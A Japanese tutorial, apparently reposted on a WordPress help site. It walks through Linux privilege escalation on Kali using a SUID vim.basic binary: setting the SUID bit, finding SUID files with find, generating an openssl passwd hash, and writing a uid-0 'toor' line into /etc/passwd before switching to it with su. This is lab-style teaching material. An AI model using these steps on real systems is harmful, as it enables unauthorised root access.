Linux は suid vim.basic ファイルを使用して権限昇格を実現します。

Linux は suid vim.basic ファイルを使用して権限昇格を実現します。

カリで再現

まず、必要なvim.basicファイルにsuid権限を設定します。

chmod u+s /usr/bin/vim.basic

まず、通常の権限を持つユーザーをadduser test1する

今は権限昇格に適した環境です

次のコマンドを使用して、suid権限を持つファイルを見つけることができます。

/ -user root -perm -4000 -print 2>/dev/null を検索します
/ -perm -u=s -type f 2>/dev/null を検索します
/ -user root -perm -4000 -exec ls -ldb {} \; を検索します。

権限昇格に使用できるファイルは次のとおりです。

  • ナノマップ
  • ヴィム
  • 探す
  • バッシュ
  • もっと
  • 少ない
  • ナノ
  • cp

vimを使用して権限を昇格するアイデアは、etc/passwdファイルを変更し、自分自身にルート権限を持つユーザーを追加することです。

パスワードファイルのユーザー形式は次のとおりです: ユーザー名:パスワード:uid:gid:コメント:ホームディレクトリ:ユーザーのシェル

ここでルートユーザーのフォーマットを見ることができます

ルート:x:0:0:root:/root:/bin/bash

(実際のパスワードは /etc/shadow ファイルに保存されるため、パスワード部分は x です)

パスワードを生成します: openssl passwd -1 –salt asd 123 を使用します (ここでは L ではなく -1 (数字の 1) です)

パスワードファイルに直接書き込みます。

toor:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash

vim /etc/passwdで変更することはできますが、保存するときにE212が表示され、変更する権限がないと表示され、保存できません。

この時点で、前に見つけた vim.basic ファイルを使用して実行する必要があります。このプログラムには suid 権限があります。間違いなく編集可能

vim.basic /etc/passwd

これを使用してファイルを開き、変更して正常に保存します

追加されたことがわかり、su toor、パスワード123に切り替えて、IDで権限を確認します。

ルート権限

chmod u+s /usr/bin/vim.basic

以上がこの記事の全内容です。皆様の勉強のお役に立てれば幸いです。また、123WORDPRESS.COM を応援していただければ幸いです。

以下もご興味があるかもしれません:
  • Trash-Cli: Linux のコマンドラインごみ箱ツール
  • Linux のごみ箱スクリプトを作成するための 101 個のスクリプト
  • Linux での中国語入力方法の問題を素早く解決する
  • MySQL を使用してポート 3306 を開いたり変更したり、Ubuntu/Linux 環境でアクセス許可を開く
  • Linux システムで Vim を使用してリモート ファイルを読み書きするコマンドの詳細な説明
  • Linux サーバーのグラフィック カードのクラッシュの解決策
  • Linux のごみ箱メカニズムの実装プロセスと使用方法の詳細な説明

<<:  jsでの位置計算を徹底的に理解するのに役立つ記事

>>:  MySQLの複合インデックス方式の詳細な説明

推薦する

CSS3のall属性の使い方を理解する

1. 互換性以下のように表示されます。 互換性は問題ありません。IE を除き、他のブラウザは基本的に...

Vue.jsは音楽プレーヤーを実装します

この記事では、音楽プレーヤーを実装するためのVue.jsの具体的なコードを参考までに共有します。具体...

CentOs7 64 ビット MySQL 5.6.40 ソースコードのインストール プロセス

1. インストールプロセス中に問題が発生しないように、まず依存パッケージをインストールします。 [r...

Docker x509 の安全でないレジストリ問題を解決する

Docker をインストールした後、会社が構築したプライベート サーバー Harbor からプルしよ...

CSS3 クリックボタン円形進行ティック効果実装コード

目次8. CSS3 クリックボタンの円形進捗チェック効果8.1 画像プレビュー8.2 index.h...

MySQL ページング分析の原理と効率改善

MySQL ページング分析の原理と効率改善PERCONA PERFORMANCE CONFERENC...

Zabbix WEB 監視実装プロセス図

Zabbix独自のWEBインターフェースを例に、Web監視の設定を行います。環境: zabbix4....

XHTML 入門チュートリアル: XHTML ハイパーリンク

ハイパーリンクはインターネット全体を接続していると言っても過言ではありません。ハイパーリンクは、別の...

Ubuntu の仮想環境に Django をインストールする方法

Ubuntu コマンドライン ウィンドウで次の操作を実行します。 1. 仮想環境をインストールする...

Nginx プロセス スケジューリングの問題の詳細な説明

Nginx は、マスター プロセス (MasterProcess) と、同じ数のホスト CPU コア...

Mysqlトランザクション処理の詳細な説明

1. MySQLのトランザクションの概念MySQL トランザクションは主に、操作量が多く複雑度の高い...

背景とリンクとして画像を書き込む方法(背景画像+リンク)

写真を背景にしてリンクを記載します。たとえば、ウェブサイトのロゴ画像などです。例: ポテトのロゴ画像...

入力ファイルのカスタムボタンの美化(デモ)

以前にも同じような記事を書いたことがありますが、js スクリプトを使用しており、ファイルパスを表示で...

Docker コンテナの正常なシャットダウン前にトラップを使用して環境のクリーンアップを実行する

実行中のコンテナが終了したときに、コンテナが完全に終了する前に環境をクリーンアップするなど、いくつか...

MySQLでテーブルを接続するいくつかの方法

MySQL テーブルでの接続方法は実は非常に簡単なので、ここではその特徴を簡単にリストします。テーブ...